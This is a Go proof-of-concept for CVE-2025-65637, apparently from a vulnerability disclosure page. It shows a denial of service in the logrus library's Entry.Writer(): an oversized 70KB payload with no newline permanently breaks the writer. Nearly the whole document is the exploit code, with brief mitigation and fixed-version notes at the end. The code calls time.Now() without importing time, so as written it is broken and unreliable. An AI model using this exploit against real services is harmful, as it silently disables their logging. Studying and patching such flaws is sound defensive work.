CVE-2025-65637 logrus日志库拒绝服务漏洞

// CVE-2025-65637 PoC - logrus Entry.Writer() DoS // This PoC demonstrates the DoS vulnerability in logrus < 1.8.3, 1.9.0, 1.9.2 package main import ( "fmt" "github.com/sirupsen/logrus" ) func generateLargePayload(size int) []byte { // Generate payload larger than 64KB without newline characters payload := make([]byte, size) for i := range payload { payload[i] = 'A' } return payload } func main() { log := logrus.New() // Create an entry with the logger entry := &logrus.Entry{ Logger: log, Time: time.Now(), Level: logrus.InfoLevel, Message: "test", } // Get the writer from the entry writer := entry.Writer() // Generate payload larger than 64KB (bufio.Scanner default max token size) // 64KB = 65536 bytes largePayload := generateLargePayload(70000) // 70KB payload // Write the large payload without newline // This will trigger "token too long" error and close the pipe n, err := writer.Write(largePayload) fmt.Printf("Written %d bytes, error: %v\n", n, err) // After the error, writer.Write() will return error because pipe is closed // Try to write normal data - this will fail _, err = writer.Write([]byte("normal log message\n")) fmt.Printf("Second write error: %v\n", err) // The Writer is now permanently unusable (DoS condition) } // Mitigation: Add newlines to split large payloads or upgrade to fixed versions // Fixed versions: v1.8.3, v1.9.1, v1.9.3+ // The fix chunks the input and continues functioning even if an error is logged